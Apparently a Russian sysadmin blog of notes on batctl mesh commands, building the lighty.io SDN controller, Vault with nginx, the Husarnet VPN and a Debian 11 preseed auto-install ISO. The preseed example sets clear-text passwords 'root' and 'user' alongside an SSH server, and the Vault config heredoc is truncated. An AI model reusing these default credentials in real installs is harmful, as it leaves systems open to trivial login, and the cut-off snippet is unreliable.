Рубрики
разное

B.A.T.M.A.N / batctl

Протокол B.A.T.M.A.N.


B.A.T.M.A.N. (Better Approach To Mobile Ad-hoc Networking) — это децентрализованный 
протокол маршрутизации для Mesh-сетей. 
Mesh-сети состоят из множества узлов, которые динамически соединяются друг с другом 
и передают данные по сети, образуя самонастраивающуюся 
и самоорганизующуюся структуру. 
В отличие от традиционных протоколов, таких как OLSR или RIP, 
которые используют централизованные таблицы маршрутизации,
B.A.T.M.A.N. использует распределенный подход.



Основные характеристики B.A.T.M.A.N.:

Децентрализация: Каждый узел ведет свою собственную маршрутизацию, 
не полагаясь на централизованные маршрутизаторы. 
Это делает сеть устойчивой к сбоям отдельных узлов.

Шкала масштабируемости: 
Протокол эффективен для сетей с большим количеством узлов, 
поскольку каждый узел знает только ближайших соседей 
и не хранит информацию обо всей сети.

Динамическое обновление маршрутов: 
Маршруты обновляются на основе активных узлов 
и доступных соединений. B.A.T.M.A.N. выбирает лучшие маршруты для передачи данных, 
избегая узлов с высокой загрузкой или низким качеством связи.

Проверить какие интерфейсы добавлены:

batctl if

Добавление интерфейсов:

batctl if add bond0
batctl if add eth0
batctl if add br0

Проверить маршрутизацию batman:


originator table - таблица авторов - сосед:
batctl o

neighbor table - соседний стол - ближайший сосед:
batctl n

translation tables  global - глобальная  таблица трансляции:  
batctl tg

translation tables - таблицы перевода -  таблица перехода - локальная таблицы трансляции
batctl tl  

шлюз - назначение шлюза - проверка является этот хост шлюзом batman-adv
batctl gw

Претензии по петлям:

batctl cl

Проверить какой версии протокол batman используется:

batctl ra

Изменить версию протокола batman:

batctl ra BATMAN_V

!!! Не обязательно но может быть полезно

Для работы dhcp и других протоколов можно включить mff
multicast_forceflood setting
batctl mff 1

Разобрать интерфейс bat0:

batctl meshif bat0 interface destroy

Пример файла bat-host:

При создании файла /etc/bat-hosts в выводе многих команд batctl MAC-адреса будут 
заменены символическими именами. 
Эти имена не обязательно должны совпадать с именем хоста или соответствовать DNS.
Используемый MAC-адрес в файле bat-hosts — MAC интерфейса который 
добавили командой "batctl if add name_interface" забираем 
с каждого хоста и заполняем этот файл. 

MAC желаемое_имя 
 
cat > /etc/bat-hosts << "EOF"
0c:d0:51:0e:00:01 offiec-e1
0c:d0:51:0e:00:02 office-e2
 
 
0c:a4:32:06:00:01 office2-e1
0c:a4:32:06:00:02 offiece2-e2
 
0c:44:b9:13:00:01 office3-e1
0c:44:b9:13:00:02 office3-e2
 
0c:e2:fb:ea:00:02 garage-e1
0c:e2:fb:ea:00:01 garage-e2
 
EOF

Приоритеты:

Чтобы настроить приоритет для интерфейса или маршрута,
можно использовать команду batctl throughput_override, 
которая напрямую управляет параметром throughput_override.

Проверка текущего значения throughput_override для интерфейса:
batct o
batctl  wlan0 throughput_override

Изменение значения throughput_override:
batctl <интерфейс> throughput_override <значение>
batctl wlan0  throughput_override 100000
batctl wlan0 to 100000

Чтобы сбросить значение throughput_override 
и вернуть автоматический расчет пропускной способности, 
нужно установить его значение в 0:
batctl wlan0 to 0

Фрагментация трафика

batctl fragmentation 1
batctl fragmentation 0
batctl f 0
batctl f 1
Рубрики
разное

debian 11 / java / apache maven / lighty / SDN

Ссылки:

https://github.com/PANTHEONtech/lighty
https://maven.apache.org/download.cgi
How to Install Apache Maven on Debian 11
https://computingforgeeks.com/install-oracle-java-openjdk-on-debian-linux/
[NSO Guide] Cisco NSO® with lighty.io
https://habr.com/ru/post/421323/ #docker https://github.com/PANTHEONtech/lighty/pkgs/container/lighty-rnc # Пример https://github.com/PANTHEONtech/lighty/tree/master/lighty-examples https://github.com/PANTHEONtech/lighty/blob/master/lighty-examples/lighty-community-restconf-netconf-app/README.md https://github.com/PANTHEONtech/lighty/tree/14.3.0/lighty-examples/lighty-community-restconf-ofp-app

debian 11 /etc/apt/sources.list

deb http://deb.debian.org/debian bullseye main contrib non-free
deb-src http://deb.debian.org/debian bullseye main contrib non-free
 
deb http://deb.debian.org/debian-security/ bullseye-security main contrib non-free
deb-src http://deb.debian.org/debian-security/ bullseye-security main contrib non-free
 
deb http://deb.debian.org/debian bullseye-updates main contrib non-free
deb-src http://deb.debian.org/debian bullseye-updates main contrib non-free
 
deb http://deb.debian.org/debian bullseye-backports main contrib non-free
deb-src http://deb.debian.org/debian bullseye-backports main contrib non-free

Подготовка:

apt -y install wget curl vim mc git

debian 11 install java

apt update
apt install openjdk-17-jdk
apt install openjdk-17-jre

apache maven 3.8.6

!!! Так  как репозитории лежит старый maven 3.6 для openlitly нам нужен поновее 3.8.5+
### Правильную ссылку ищем тут https://maven.apache.org/download.cgi
0. Скачиваем и распаковываем:
cd /opt
wget https://dlcdn.apache.org/maven/maven-3/3.8.6/binaries/apache-maven-3.8.6-bin.tar.gz
tar -xvpf apache-maven-3.8.6-bin.tar.gz
mv  apache-maven-3.8.6-bin maven 

1. Создаем файл maven.sh
vim /etc/profile.d/maven.sh
----------------------------
# не забываем отредактировать JAVA_HOME, ls -l /usr/lib/jvm/
export JAVA_HOME=/usr/lib/jvm/java-1.17.0-openjdk-amd64
export M2_HOME=/opt/maven
export PATH=${M2_HOME}/bin:${PATH}
----------------------------

2. Применяем maven.sh
source /etc/profile.d/maven.sh

3. Проверяем что все ок.
mvn -version

Установка lighty:

!!! для успешной установки потребуется мин 2Гб RAM.
0. Установите JDK — убедитесь, что JDK 17 установлен.
1. Установите maven — убедитесь, что у вас установлен maven 3.8.5 или более поздней версии.
2. Настройте maven - убедитесь, что в вашем каталоге есть правильный файл settings.xml .~/.m2
cd /root
mkdir .m2
cd .m2
wget https://github.com/opendaylight/odlparent/blob/master/settings.xml

3. Сборка и установка локально — с помощью команды:mvn clean install -DskipTests
cd /opt
git clone https://github.com/PANTHEONtech/lighty.git
cd lighty
mvn clean install -DskipTests

4. Для запуска модульных и интеграционных тестов используйте команду:
# В пункте 3 уже все собралось можно переходить к примерам
# !!! Перед началом ИТ-тестирования убедитесь, что на локальном хосте свободны порты 8080, 8888, 8185, 2550
# mvn clean install

docker install lighty-rnc

# !!! В случае, если вам нужен SDN-контроллер для устройств NETCONF.
# !!! https://pantheon.tech/lighty-rnc-network-device-management/
# !!! https://github.com/PANTHEONtech/lighty/pkgs/container/lighty-rnc
# docker pull ghcr.io/pantheontech/lighty-rnc:latest
apt install docker docker-compose

docker pull ghcr.io/pantheontech/lighty-rnc:16.1.0

#docker run -d -p 6653:6653 -p 8080:8080 --name=lighty-rnc lighty-rnc:16.1.0

docker run -d --network host --name lighty-rnc ghcr.io/pantheontech/lighty-rnc:16.1.0

Пример:

cd /root
mkdir .m2
cd .m2
wget https://github.com/opendaylight/odlparent/blob/master/settings.xml
cd /opt
git clone https://github.com/PANTHEONtech/lighty.git
cd lighty
mvn clean install -DskipTests
cd lighty-examples/lighty-community-restconf-netconf-app/target
unzip lighty-community-restconf-netconf-app-17.0.0-SNAPSHOT-bin.zip
cd lighty-community-restconf-netconf-app-17.0.0-SNAPSHOT
java -jar lighty-community-restconf-netconf-app-17.0.0-SNAPSHOT.jar

ПОЛУЧИТЬ http://localhost:8888/restconf/operations
ПОЛУЧИТЬ http://localhost:8888/restconf/data/network-topology:network-topology?content=config
ПОЛУЧИТЬ http://localhost:8888/restconf/data/network-topology:network-topology?content=nonconfig

Интерфейс Swagger http://localhost:8888/apidoc/explorer/index.html

Конфиг IP address:
cd /opt/lighty/lighty-examples/lighty-community-restconf-netconf-app/target/lighty-community-restconf-netconf-app-17.0.0-SNAPSHOT/
vim sampleConfigSingleNode.json
vim singlenode/akka-default.conf
java -jar lighty-community-restconf-netconf-app-17.0.0-SNAPSHOT.jar sampleConfigSingleNode.json

Рубрики
разное

vault / hashicorp / password

link:

https://www.vaultproject.io/downloads
https://learn.hashicorp.com/tutorials/vault/getting-started-ui?in=vault/getting-started-ui

https://habr.com/ru/post/306812/
https://habr.com/ru/company/quadcode/blog/565690/
https://habr.com/ru/post/536694/

https://khannz.medium.com/rus-hashi-vault-intro-1615ae2c0116

Храним секреты приложения в Vault
Конфигурация сервисов c Consul Key-Value Store

install and setup

### distr
https://www.vaultproject.io/downloads

#0 install
apt update && apt upgrade -y 
apt install vim sudo  mc curl git vim htop nmap gnupg tcpdump


#1 install
curl -fsSL https://apt.releases.hashicorp.com/gpg | sudo apt-key add -
#sudo apt-add-repository "deb [arch=amd64] https://apt.releases.hashicorp.com $(lsb_release -cs) main"
echo "deb [arch=amd64] https://apt.releases.hashicorp.com $(lsb_release -cs) main" >> /etc/apt/sources.list
apt-get update && sudo apt-get install vault


### SETUP web server vault

# doc
# https://learn.hashicorp.com/tutorials/vault/getting-started-ui?in=vault/getting-started-ui

#0 cd folder default
cd /opt/vault


#1 create file
tee config.hcl <

config nginx

# Full configuration at https://mozilla.github.io/server-side-tls/ssl-config-generator/
# /etc/nginx/sites-enabled/vault
server {
        listen 80;
        listen 443 ssl;
        server_name vault;
        return 301 https://vault.yourdomain.com$request_uri;
    }

        server {
        listen 443 ssl;
        location / {
            proxy_buffering    off;
            proxy_pass         http://127.0.0.1:8200;
            proxy_redirect     off;
            proxy_set_header   Host $http_host;
        }
}

Рубрики
разное

husarnet / ubuntu 20.04 / vpn p2p

Ссылки

https://husarnet.com/docs/
https://github.com/husarnet/husarnet/releases/tag/v2021.11.26.1
https://github.com/husarnet/husarnet
https://app.husarnet.com/accounts/login/?next=/
https://husarnet.com/docs/manual-client
https://husarnet.com/blog/remote-desktop-over-internet/

Особенности:

Husarnet в своей основе представляет собой одну большую сеть IPv6 с автоматической маршрутизацией . 
Запуск демона Husarnet создает виртуальный сетевой интерфейс ( hnet0) с уникальным IPv6-адресом Husarnet и соответствующим fc94::/16 маршрутом. 
Если вы решите отключить систему разрешений, любой узел сможет связаться с вашим узлом, используя IPv6- fc94:...адрес, 
но если вы решите оставить его включенным, мы подготовили для вас обширную систему разрешений.
У вас может быть несколько виртуальных островов/сетей, ваши устройства могут получать доступ к нескольким сетям или вы даже можете делиться доступом к этим сетям с другими пользователями!

Узлы идентифицируются по их 112-битным IPv6-адресам, основанным на открытых ключах узла. 
Все соединения также аутентифицируются по адресу IPv6. 
Это свойство позволяет установить подлинность соединения без какой-либо доверенной третьей стороны, основываясь только на IPv6-адресе! 
Соединения также всегда шифруются.

Криптография: Husarnet использует X25519 от libsodium для обмена ключами, с эфемерными ключами Curve25519 для прямой секретности.
Хэш исходного открытого ключа проверяется на соответствие IPv6-адресу. 
Пакеты шифруются с использованием конструкции libsodium ChaCha20-Poly1305 secretbox со случайным 192-битным одноразовым номером.

Трафик отправляется с использованием UDP

Клиент Husarnet настолько автономен, насколько это возможно - все шифрование, авторизация и аутентификация выполняются локально - это дает пользователю, контроль над тем, что происходит сетью. 
Это также означает, что для уже установленных прямых соединений Клиент может перенаправлять трафик, даже если наши Базовые Серверы не работают!

Установка:

!!! Проверял на ubuntu 22.04
0. Повышаем привилегии до рута 
sudo su - 

2. Переходим в катало opt
cd /opt

3. Скачиваем пакет (!!! Есть возможность подключить репазиторий)
wget https://github.com/husarnet/husarnet/releases/download/v2021.11.26.1/husarnet-2021.11.26.1-amd64.deb

4. 
apt install ./husarnet-2021.11.26.1-amd64.deb

Настройка:

!!! Создайте бесплатную учетную запись на панели управления Husarnet: https://app.husarnet.com/accounts/register/
0. Получаем уникальную ссылку для настройки в браузере 
husarnet websetup

1. В меню  на сайте создаем сеть

2. Подключаем устройство к сети (добавить его в белый список)
!!! IPV6_ADDRESS/YOU_NETWORK - получаем прям в веб интерфейсе

husarnet join IPV6_ADDRESS/YOU_NETWORK

Примеры команд

husarnet join [join code] [hostname] - подключитесь к сети Husarnet с заданным кодом соединения
husarnet status - отображает текущее состояние подключения
husarnet wait - подождать, пока демон не сможет обслуживать запросы
husarnet websetup - получить ссылку на веб настройку husarnet
husarnet daemon - запустить демон Husarnet (обычно не требуется, запускает systemd)
husarnet logs - отображает последние журналы, хранящиеся в памяти
husarnet version - отображает версию, используемую в данный момент
husarnet genid - генерируем ИД
husarnet status-json - выводит ту же информацию, которую возвращает husarnet status, но в формате json
husarnet whitelist add [address] -  добавить IP-адрес fc94 в белый список
husarnet whitelist rm [address] - удалить IP-адрес fc94 из белого списка
husarnet whitelist enable - включить белый список адресов (по умолчанию)
husarnet whitelist disable - отключить белый список адресов (разрешить всем, обязательно настройте локальный брандмауэр)
husarnet whitelist ls - список всех адресов, добавленных в белый список
husarnet setup-server [address] - подключайтесь к другим информационным панелям Husarnet и базовым серверам Husarnet (не забудьте перезапустить Husarnet, чтобы включить новую настройку).
husarnet host add [hostname] [address] - назначьте альтернативное имя хоста адресу Harnett
husarnet host rm [hostname] [address] - удалите альтернативное имя хоста
husarnet verbosity - отображает текущую детализацию журнала
husarnet verbosity [0-3] - изменяет текущий уровень детализации
husarnet logs size [size] - изменяет количество журналов, которые должны храниться в памяти
husarnet logs size - отображает максимальное количество журналов, хранящихся в памяти (при превышении новые журналы переопределяют старые)
husarnet logs current - отображает текущее количество журналов, хранящихся в памяти
Рубрики
разное

Yggdrasil Network / HyperModem

Статья на русском:
https://habr.com/ru/post/599531/


Пиры:
https://publicpeers.neilalexander.dev/

Клиент:
https://yggdrasil-network.github.io/installation.html


Сервер / Нода/ HyperModem:
https://github.com/popura-network/HyperModem/releases
https://github.com/popura-network/HyperModem#how-to-build

Список сервисов внутри сети "yggdrasil":
https://yggdrasil-network.github.io/services.html


Yggdrasil Network - децентрализованная самоорганизующаяся сетевая инфраструктура. 
Каждый узел этой сети равно участвует в маршрутизации и расширяет ее охват. 
Все соединения защищены сквозным шифрованием, значение IPv6 адреса узла вычисляется из его криптоключей.


Рубрики
разное

debian 11 \ preseed.cfg \ autoinstall cd

Ссылки:

https://wiki.debian.org/DebianInstaller/Preseed/EditIso
https://www.debian.org/releases/buster/example-preseed.txt
https://www.debian.org/releases/bullseye/mips64el/install.ru.pdf

Три способа распаковать:

bsdtar -C DESTINATION -xf debian-10.2.0-i386-netinst.iso
xorriso -osirrox on -indev debian-10.2.0-i386-netinst.iso -extract / DESTINATION
7z x -oDESTINATION debian-10.2.0-i386-netinst.iso

0.sh

#!/bin/bash
wget https://cdimage.debian.org/debian-cd/current/amd64/iso-cd/debian-11.2.0-amd64-netinst.iso
mkdir isofiles
rm -rf isofiles/*
bsdtar -C  isofiles -xf debian-11.2.0-amd64-netinst.iso

1.sh

#!/bin/bash
chmod +w -R isofiles/install.amd/
gunzip isofiles/install.amd/initrd.gz
echo preseed.cfg | cpio -H newc -o -A -F isofiles/install.amd/initrd
gzip isofiles/install.amd/initrd
chmod -w -R isofiles/install.amd/

2.sh

#!/bin/bash
cd isofiles
chmod +w md5sum.txt
find -follow -type f ! -name md5sum.txt -print0 | xargs -0 md5sum > md5sum.txt
chmod -w md5sum.txt
cd ..

3.sh

#!/bin/bash
#create iso
genisoimage -r -J -b isolinux/isolinux.bin -c isolinux/boot.cat -no-emul-boot -boot-load-size 4 -boot-info-table -o preseed-debian-11-kvm-netinst.iso isofiles
#add usb boot
xorriso -as mkisofs -o preseed-debian-11-kvm-netinst.iso -isohybrid-mbr /usr/lib/ISOLINUX/isohdpfx.bin  -c isolinux/boot.cat -b isolinux/isolinux.bin -no-emul-boot  -boot-load-size 4 -boot-info-table isofiles

Пример preseed.cfg

#_preseed_V1
#### Contents of the preconfiguration file (for bullseye)
### Localization
# Preseeding only locale sets language, country and locale.
d-i debian-installer/locale string en_US

# The values can also be preseeded individually for greater flexibility.
#d-i debian-installer/language string en
#d-i debian-installer/country string NL
#d-i debian-installer/locale string en_GB.UTF-8
# Optionally specify additional locales to be generated.
#d-i localechooser/supported-locales multiselect en_US.UTF-8, nl_NL.UTF-8

# Keyboard selection.
d-i keyboard-configuration/xkb-keymap select us
# d-i keyboard-configuration/toggle select No toggling

### Network configuration
# Disable network configuration entirely. This is useful for cdrom
# installations on non-networked devices where the network questions,
# warning and long timeouts are a nuisance.
#d-i netcfg/enable boolean false

# netcfg will choose an interface that has link if possible. This makes it
# skip displaying a list if there is more than one interface.
d-i netcfg/choose_interface select auto

# To pick a particular interface instead:
#d-i netcfg/choose_interface select eth1

# To set a different link detection timeout (default is 3 seconds).
# Values are interpreted as seconds.
#d-i netcfg/link_wait_timeout string 10

# If you have a slow dhcp server and the installer times out waiting for
# it, this might be useful.
#d-i netcfg/dhcp_timeout string 60
#d-i netcfg/dhcpv6_timeout string 60

# If you prefer to configure the network manually, uncomment this line and
# the static network configuration below.
#d-i netcfg/disable_autoconfig boolean true

# If you want the preconfiguration file to work on systems both with and
# without a dhcp server, uncomment these lines and the static network
# configuration below.
#d-i netcfg/dhcp_failed note
#d-i netcfg/dhcp_options select Configure network manually

# Static network configuration.
#
# IPv4 example
#d-i netcfg/get_ipaddress string 192.168.1.42
#d-i netcfg/get_netmask string 255.255.255.0
#d-i netcfg/get_gateway string 192.168.1.1
#d-i netcfg/get_nameservers string 192.168.1.1
#d-i netcfg/confirm_static boolean true
#
# IPv6 example
#d-i netcfg/get_ipaddress string fc00::2
#d-i netcfg/get_netmask string ffff:ffff:ffff:ffff::
#d-i netcfg/get_gateway string fc00::1
#d-i netcfg/get_nameservers string fc00::1
#d-i netcfg/confirm_static boolean true

# Any hostname and domain names assigned from dhcp take precedence over
# values set here. However, setting the values still prevents the questions
# from being shown, even if values come from dhcp.
d-i netcfg/get_hostname string unassigned-hostname
d-i netcfg/get_domain string unassigned-domain

# If you want to force a hostname, regardless of what either the DHCP
# server returns or what the reverse DNS entry for the IP is, uncomment
# and adjust the following line.
#d-i netcfg/hostname string somehost

# Disable that annoying WEP key dialog.
d-i netcfg/wireless_wep string
# The wacky dhcp hostname that some ISPs use as a password of sorts.
#d-i netcfg/dhcp_hostname string radish

# If non-free firmware is needed for the network or other hardware, you can
# configure the installer to always try to load it, without prompting. Or
# change to false to disable asking.
#d-i hw-detect/load_firmware boolean true

### Network console
# Use the following settings if you wish to make use of the network-console
# component for remote installation over SSH. This only makes sense if you
# intend to perform the remainder of the installation manually.
#d-i anna/choose_modules string network-console
#d-i network-console/authorized_keys_url string http://10.0.0.1/openssh-key
#d-i network-console/password password r00tme
#d-i network-console/password-again password r00tme

### Mirror settings
# If you select ftp, the mirror/country string does not need to be set.
#d-i mirror/protocol string ftp
d-i mirror/country string manual
d-i mirror/http/hostname string http.us.debian.org
d-i mirror/http/directory string /debian
d-i mirror/http/proxy string

# Suite to install.
#d-i mirror/suite string testing
# Suite to use for loading installer components (optional).
#d-i mirror/udeb/suite string testing

### Account setup
# Skip creation of a root account (normal user account will be able to
# use sudo).
#d-i passwd/root-login boolean false
# Alternatively, to skip creation of a normal user account.
#d-i passwd/make-user boolean false

# Root password, either in clear text
d-i passwd/root-password password root
d-i passwd/root-password-again password root
# or encrypted using a crypt(3)  hash.
#d-i passwd/root-password-crypted password [crypt(3) hash]

# To create a normal user account.
d-i passwd/user-fullname string Debian User
d-i passwd/username string user
# Normal user's password, either in clear text
d-i passwd/user-password password user
d-i passwd/user-password-again password user
# or encrypted using a crypt(3) hash.
#d-i passwd/user-password-crypted password [crypt(3) hash]
# Create the first user with the specified UID instead of the default.
#d-i passwd/user-uid string 1010

# The user account will be added to some standard initial groups. To
# override that, use this.
#d-i passwd/user-default-groups string audio cdrom video

### Clock and time zone setup
# Controls whether or not the hardware clock is set to UTC.
d-i clock-setup/utc boolean true

# You may set this to any valid setting for $TZ; see the contents of
# /usr/share/zoneinfo/ for valid values.
d-i time/zone string US/Eastern

# Controls whether to use NTP to set the clock during the install
d-i clock-setup/ntp boolean true
# NTP server to use. The default is almost always fine here.
#d-i clock-setup/ntp-server string ntp.example.com

### Partitioning
## Partitioning example
# If the system has free space you can choose to only partition that space.
# This is only honoured if partman-auto/method (below) is not set.
#d-i partman-auto/init_automatically_partition select biggest_free

# Alternatively, you may specify a disk to partition. If the system has only
# one disk the installer will default to using that, but otherwise the device
# name must be given in traditional, non-devfs format (so e.g. /dev/sda
# and not e.g. /dev/discs/disc0/disc).
# For example, to use the first SCSI/SATA hard disk:
#d-i partman-auto/disk string /dev/sda
# In addition, you'll need to specify the method to use.
# The presently available methods are:
# - regular: use the usual partition types for your architecture
# - lvm:     use LVM to partition the disk
# - crypto:  use LVM within an encrypted partition
d-i partman-auto/method string lvm

# You can define the amount of space that will be used for the LVM volume
# group. It can either be a size with its unit (eg. 20 GB), a percentage of
# free space or the 'max' keyword.
d-i partman-auto-lvm/guided_size string max

# If one of the disks that are going to be automatically partitioned
# contains an old LVM configuration, the user will normally receive a
# warning. This can be preseeded away...
d-i partman-lvm/device_remove_lvm boolean true
# The same applies to pre-existing software RAID array:
d-i partman-md/device_remove_md boolean true
# And the same goes for the confirmation to write the lvm partitions.
d-i partman-lvm/confirm boolean true
d-i partman-lvm/confirm_nooverwrite boolean true

# You can choose one of the three predefined partitioning recipes:
# - atomic: all files in one partition
# - home:   separate /home partition
# - multi:  separate /home, /var, and /tmp partitions
d-i partman-auto/choose_recipe select atomic

# Or provide a recipe of your own...
# If you have a way to get a recipe file into the d-i environment, you can
# just point at it.
#d-i partman-auto/expert_recipe_file string /hd-media/recipe

# If not, you can put an entire recipe into the preconfiguration file in one
# (logical) line. This example creates a small /boot partition, suitable
# swap, and uses the rest of the space for the root partition:
#d-i partman-auto/expert_recipe string                         \
#      boot-root ::                                            \
#              40 50 100 ext3                                  \
#                      $primary{ } $bootable{ }                \
#                      method{ format } format{ }              \
#                      use_filesystem{ } filesystem{ ext3 }    \
#                      mountpoint{ /boot }                     \
#              .                                               \
#              500 10000 1000000000 ext3                       \
#                      method{ format } format{ }              \
#                      use_filesystem{ } filesystem{ ext3 }    \
#                      mountpoint{ / }                         \
#              .                                               \
#              64 512 300% linux-swap                          \
#                      method{ swap } format{ }                \
#              .

# The full recipe format is documented in the file partman-auto-recipe.txt
# included in the 'debian-installer' package or available from D-I source
# repository. This also documents how to specify settings such as file
# system labels, volume group names and which physical devices to include
# in a volume group.

## Partitioning for EFI
# If your system needs an EFI partition you could add something like
# this to the recipe above, as the first element in the recipe:
#               538 538 1075 free                              \
#                      $iflabel{ gpt }                         \
#                      $reusemethod{ }                         \
#                      method{ efi }                           \
#                      format{ }                               \
#               .                                              \
#
# The fragment above is for the amd64 architecture; the details may be
# different on other architectures. The 'partman-auto' package in the
# D-I source repository may have an example you can follow.

# This makes partman automatically partition without confirmation, provided
# that you told it what to do using one of the methods above.
d-i partman-partitioning/confirm_write_new_label boolean true
d-i partman/choose_partition select finish
d-i partman/confirm boolean true
d-i partman/confirm_nooverwrite boolean true

# Force UEFI booting ('BIOS compatibility' will be lost). Default: false.
#d-i partman-efi/non_efi_system boolean true
# Ensure the partition table is GPT - this is required for EFI
#d-i partman-partitioning/choose_label string gpt
#d-i partman-partitioning/default_label string gpt

# When disk encryption is enabled, skip wiping the partitions beforehand.
#d-i partman-auto-crypto/erase_disks boolean false

## Partitioning using RAID
# The method should be set to "raid".
#d-i partman-auto/method string raid
# Specify the disks to be partitioned. They will all get the same layout,
# so this will only work if the disks are the same size.
#d-i partman-auto/disk string /dev/sda /dev/sdb

# Next you need to specify the physical partitions that will be used. 
#d-i partman-auto/expert_recipe string \
#      multiraid ::                                         \
#              1000 5000 4000 raid                          \
#                      $primary{ } method{ raid }           \
#              .                                            \
#              64 512 300% raid                             \
#                      method{ raid }                       \
#              .                                            \
#              500 10000 1000000000 raid                    \
#                      method{ raid }                       \
#              .

# Last you need to specify how the previously defined partitions will be
# used in the RAID setup. Remember to use the correct partition numbers
# for logical partitions. RAID levels 0, 1, 5, 6 and 10 are supported;
# devices are separated using "#".
# Parameters are:
#      \
#           

#d-i partman-auto-raid/recipe string \
#    1 2 0 ext3 /                    \
#          /dev/sda1#/dev/sdb1       \
#    .                               \
#    1 2 0 swap -                    \
#          /dev/sda5#/dev/sdb5       \
#    .                               \
#    0 2 0 ext3 /home                \
#          /dev/sda6#/dev/sdb6       \
#    .

# For additional information see the file partman-auto-raid-recipe.txt
# included in the 'debian-installer' package or available from D-I source
# repository.

# This makes partman automatically partition without confirmation.
d-i partman-md/confirm boolean true
d-i partman-partitioning/confirm_write_new_label boolean true
d-i partman/choose_partition select finish
d-i partman/confirm boolean true
d-i partman/confirm_nooverwrite boolean true

## Controlling how partitions are mounted
# The default is to mount by UUID, but you can also choose "traditional" to
# use traditional device names, or "label" to try filesystem labels before
# falling back to UUIDs.
#d-i partman/mount_style select uuid

### Base system installation
# Configure APT to not install recommended packages by default. Use of this
# option can result in an incomplete system and should only be used by very
# experienced users.
#d-i base-installer/install-recommends boolean false

# The kernel image (meta) package to be installed; "none" can be used if no
# kernel is to be installed.
#d-i base-installer/kernel/image string linux-image-686

### Apt setup
# You can choose to install non-free and contrib software.
#d-i apt-setup/non-free boolean true
#d-i apt-setup/contrib boolean true
# Uncomment this if you don't want to use a network mirror.
#d-i apt-setup/use_mirror boolean false
# Select which update services to use; define the mirrors to be used.
# Values shown below are the normal defaults.
#d-i apt-setup/services-select multiselect security, updates
#d-i apt-setup/security_host string security.debian.org

# Additional repositories, local[0-9] available
#d-i apt-setup/local0/repository string \
#       http://local.server/debian stable main
#d-i apt-setup/local0/comment string local server
# Enable deb-src lines
#d-i apt-setup/local0/source boolean true
# URL to the public key of the local repository; you must provide a key or
# apt will complain about the unauthenticated repository and so the
# sources.list line will be left commented out.
#d-i apt-setup/local0/key string http://local.server/key
# If the provided key file ends in ".asc" the key file needs to be an
# ASCII-armoured PGP key, if it ends in ".gpg" it needs to use the
# "GPG key public keyring" format, the "keybox database" format is
# currently not supported.

# By default the installer requires that repositories be authenticated
# using a known gpg key. This setting can be used to disable that
# authentication. Warning: Insecure, not recommended.
#d-i debian-installer/allow_unauthenticated boolean true

# Uncomment this to add multiarch configuration for i386
#d-i apt-setup/multiarch string i386


### Package selection
#tasksel tasksel/first multiselect standard, web-server, kde-desktop

# Individual additional packages to install
#d-i pkgsel/include string openssh-server build-essential
d-i pkgsel/include string openssh-server
# Whether to upgrade packages after debootstrap.
# Allowed values: none, safe-upgrade, full-upgrade
#d-i pkgsel/upgrade select none

# Some versions of the installer can report back on what software you have
# installed, and what software you use. The default is not to report back,
# but sending reports helps the project determine what software is most
# popular and should be included on the first CD/DVD.
#popularity-contest popularity-contest/participate boolean false

### Boot loader installation
# Grub is the boot loader (for x86).

# This is fairly safe to set, it makes grub install automatically to the UEFI
# partition/boot record if no other operating system is detected on the machine.
d-i grub-installer/only_debian boolean true

# This one makes grub-installer install to the UEFI partition/boot record, if
# it also finds some other OS, which is less safe as it might not be able to
# boot that other OS.
d-i grub-installer/with_other_os boolean true

# Due notably to potential USB sticks, the location of the primary drive can
# not be determined safely in general, so this needs to be specified:
#d-i grub-installer/bootdev  string /dev/sda
# To install to the primary device (assuming it is not a USB stick):
#d-i grub-installer/bootdev  string default

# Alternatively, if you want to install to a location other than the UEFI
# parition/boot record, uncomment and edit these lines:
#d-i grub-installer/only_debian boolean false
#d-i grub-installer/with_other_os boolean false
#d-i grub-installer/bootdev  string (hd0,1)
# To install grub to multiple disks:
#d-i grub-installer/bootdev  string (hd0,1) (hd1,1) (hd2,1)

# Optional password for grub, either in clear text
#d-i grub-installer/password password r00tme
#d-i grub-installer/password-again password r00tme
# or encrypted using an MD5 hash, see grub-md5-crypt(8).
#d-i grub-installer/password-crypted password [MD5 hash]

# Use the following option to add additional boot parameters for the
# installed system (if supported by the bootloader installer).
# Note: options passed to the installer will be added automatically.
#d-i debian-installer/add-kernel-opts string nousb

### Finishing up the installation
# During installations from serial console, the regular virtual consoles
# (VT1-VT6) are normally disabled in /etc/inittab. Uncomment the next
# line to prevent this.
#d-i finish-install/keep-consoles boolean true

# Avoid that last message about the install being complete.
d-i finish-install/reboot_in_progress note

# This will prevent the installer from ejecting the CD during the reboot,
# which is useful in some situations.
#d-i cdrom-detect/eject boolean false

# This is how to make the installer shutdown when finished, but not
# reboot into the installed system.
#d-i debian-installer/exit/halt boolean true
# This will power off the machine instead of just halting it.
#d-i debian-installer/exit/poweroff boolean true

### Preseeding other packages
# Depending on what software you choose to install, or if things go wrong
# during the installation process, it's possible that other questions may
# be asked. You can preseed those too, of course. To get a list of every
# possible question that could be asked during an install, do an
# installation, and then run these commands:
#   debconf-get-selections --installer > file
#   debconf-get-selections >> file


#### Advanced options
### Running custom commands during the installation
# d-i preseeding is inherently not secure. Nothing in the installer checks
# for attempts at buffer overflows or other exploits of the values of a
# preconfiguration file like this one. Only use preconfiguration files from
# trusted locations! To drive that home, and because it's generally useful,
# here's a way to run any shell command you'd like inside the installer,
# automatically.

# This first command is run as early as possible, just after
# preseeding is read.
#d-i preseed/early_command string anna-install some-udeb
# This command is run immediately before the partitioner starts. It may be
# useful to apply dynamic partitioner preseeding that depends on the state
# of the disks (which may not be visible when preseed/early_command runs).
#d-i partman/early_command \
#       string debconf-set partman-auto/disk "$(list-devices disk | head -n1)"
# This command is run just before the install finishes, but when there is
# still a usable /target directory. You can chroot to /target and use it
# directly, or use the apt-install and in-target commands to easily install
# packages and run commands in the target system.
#d-i preseed/late_command string apt-install zsh; in-target chsh -s /bin/zsh
Рубрики
разное

B.A.T.M.A.N. \ batman \ batmand \ batctl \ mesh

Ссылки:

https://ru.wikipedia.org/wiki/B.A.T.M.A.N.

https://www.kernel.org/doc/html/v4.18/networking/batman-adv.html

https://www.open-mesh.org/doc/batman-adv/Quick-start-guide.html
https://www.open-mesh.org/projects/batman-adv/wiki/Understand-your-batman-adv-network

https://www.open-mesh.org/projects/batmand/wiki/BATMAN_Daemon_HowTo
https://www.open-mesh.org/projects/open-mesh
https://www.open-mesh.org/projects/batman-adv/wiki
https://www.open-mesh.org/projects/batman-adv/wiki/Wiki

https://www.open-mesh.org/projects/batmand/wiki/DebugOutput

https://openwrt.org/docs/guide-user/network/wifi/mesh/batman


